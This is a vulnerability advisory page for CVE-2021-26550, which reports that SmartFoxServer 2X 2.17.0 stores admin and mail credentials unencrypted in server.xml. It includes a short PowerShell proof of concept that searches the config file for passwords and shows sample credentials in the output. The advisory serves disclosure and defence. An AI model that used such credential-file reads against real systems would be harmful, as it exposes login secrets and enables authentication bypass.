SmartFoxServer 2X 2.17.0 Credential Disclosure

Authored by LiquidWorm | Site zeroscience.mk

Posted Feb 8, 2021

SmartFoxServer 2X version 2.17.0 suffers from a credential disclosure vulnerability.

tags | exploit
advisories | CVE-2021-26550
SHA-256 | 66b040d7f471c336db6b082f84ee4e47694635e83ec3f1a46ad2526dfa0018c8

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
SmartFoxServer 2X 2.17.0 Credentials Disclosure


Vendor: gotoAndPlay()
Product web page: https://www.smartfoxserver.com
Affected version: Server: 2.17.0
                  Remote Admin: 3.2.6
                  SmartFoxServer 2X, Pro, Basic

Summary: SmartFoxServer (SFS) is a comprehensive SDK for
rapidly developing multiplayer games and applications
with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal
Windows Platform, Android, Java, C++ and more. SmartFoxServer
comes with a rich set of features, an impressive
documentation set, tens of examples with their source,
powerful administration tools and a very active support
forum. Born in 2004, and evolving continuously since
then, today SmartFoxServer is the leading middleware to
create large scale multiplayer games, MMOs and virtual
communities. Thanks to its simplicity of use, versatility
and performance, it currently powers hundreds of projects
all over the world, from small chats and turn-based games
to massive virtual worlds and realtime games.

Desc: The application stores sensitive information in an
unencrypted XML file called /config/server.xml. A local
attacker that has access to the current user session can
successfully disclose plain-text credentials that can be
used to bypass authentication to the affected server.

Tested on: Windows (all) 64bit installer
           Linux/Unix 64bit installer
           MacOS (10.8+) 64bit installer
           Java 1.8.0_281
           Python 3.9.1
           Python 2.7.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5627
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5627.php

CVE ID: CVE-2021-26550
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-26550
NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2021-26550

CWE ID: CWE-312
CWE URL: https://cwe.mitre.org/data/definitions/312.html


29.01.2021

--


PS C:\Users\t00t\SmartFoxServer_2X\SFS2X\config> Get-Content server.xml | Select-String -Pattern passw -Context
1,0

          <login>sfsadmin</login>
>         <password>Waddup</password>
          <login>testingus</login>
>         <password>123456</password>
      <mailUser>username</mailUser>
>     <mailPass>password</mailPass>


C:\Users\t00t\SmartFoxServer_2X\SFS2X\config>icacls server.xml
server.xml NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Administrators:(I)(F)
           LAB42\t00t:(I)(F)
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 201 files
Ubuntu 78 files
Debian 24 files
LiquidWorm 23 files
malvuln 12 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed